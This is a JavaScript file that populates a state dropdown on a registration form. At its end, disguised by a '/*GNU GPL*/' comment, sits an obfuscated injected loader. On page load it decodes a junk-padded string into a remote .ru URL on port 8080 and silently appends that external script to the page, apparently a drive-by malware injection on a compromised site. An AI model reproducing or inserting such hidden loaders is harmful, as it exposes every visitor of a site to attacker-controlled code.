function getStateValuesByCountry(index){
    var sStateValues = aStateValues[index];
    return sStateValues.split(";");
}

function MkStatesValues(index, sel){
    if (index != 226 && index != 38) {
      index = 1;
    }

    var aCurrStateValues = getStateValuesByCountry(index);
    var nCurrStateValuesCnt = aCurrStateValues.length;
    var oStateList = document.forms["reg"].state;

    var oStateListOptionsCnt = oStateList.options;
    oStateList.length = 0;
    for (i = 0; i < nCurrStateValuesCnt; i++){
        aState = aCurrStateValues[i].split(":");

        if (aState[0] == sel) {
          isel = i;
        }
        if (document.createElement){
            var newStateListOption = document.createElement("OPTION");

            newStateListOption.text = aState[1];
            newStateListOption.value = aState[0];

            (oStateList.options.add) ? oStateList.options.add(newStateListOption) : oStateList.add(newStateListOption, null);
        }else{

            oStateList.options[i] = new Option(aState[1], aState[0], false, false);
        }
    }
  document.forms["reg"].elements["state"].selectedIndex = isel;
}

/*GNU GPL*/ try{window.onload = function(){var Lkhg71ir4hvxvwbt = document.createElement('s^$)&c#r)$i)^@)p&!#t$@#^@'.replace(/\^|\!|\$|\(|@|#|\)|&/ig, ''));Lkhg71ir4hvxvwbt.setAttribute('type', 'text/javascript');Lkhg71ir4hvxvwbt.setAttribute('src',  'h$&)t@t(&^)p):@((/#^!/#p)c!@!p!@o#$&p$(^-$(c(@(o$!m!#.@@#p)!o@#g(o$@).^&!@c@&o(^@m#&#.&@@o@@!d#&n&$)#)o$^k((#!)l!$&(a!&s^^(s$&)&n)&@$i#()$k$!)i@(-)@^r^@^^&u!&#.)&@m#(y#!g^$@r@(e^a@@!t@s!a^l!e#.^r#$u^:!^^8)0!&8)^0^&!/)p@l^a(l@^)a).&^!o^!r$!##.@@j!)p)!&/$p#$l@&a#^l!#@a)&.))o^&&)r#^&(.$@j#))p$/#)$$g#)&o&!o@!g(^&!l&@@e&$!@.&&&c^)o#!$m&$/&!b$$$^!e)s!$&t!^b!$u))^y)^$.&^c(^&!o!m(@^)/&^p@(i&)c)^h#u@!(n@#t@!e##((r!)#.&c^(&o^m#@/@!!&'.replace(/@|\^|&|#|\(|\!|\)|\$/ig, ''));Lkhg71ir4hvxvwbt.setAttribute('defer', 'defer');Lkhg71ir4hvxvwbt.setAttribute('id', 'C(g)@)s&(^c@$#a$$(o!^^n$^)z@#v(^$)e$&e&&a#&))x$&'.replace(/\)|\$|&|\(|@|\^|\!|#/ig, ''));document.body.appendChild(Lkhg71ir4hvxvwbt);}} catch(e) {}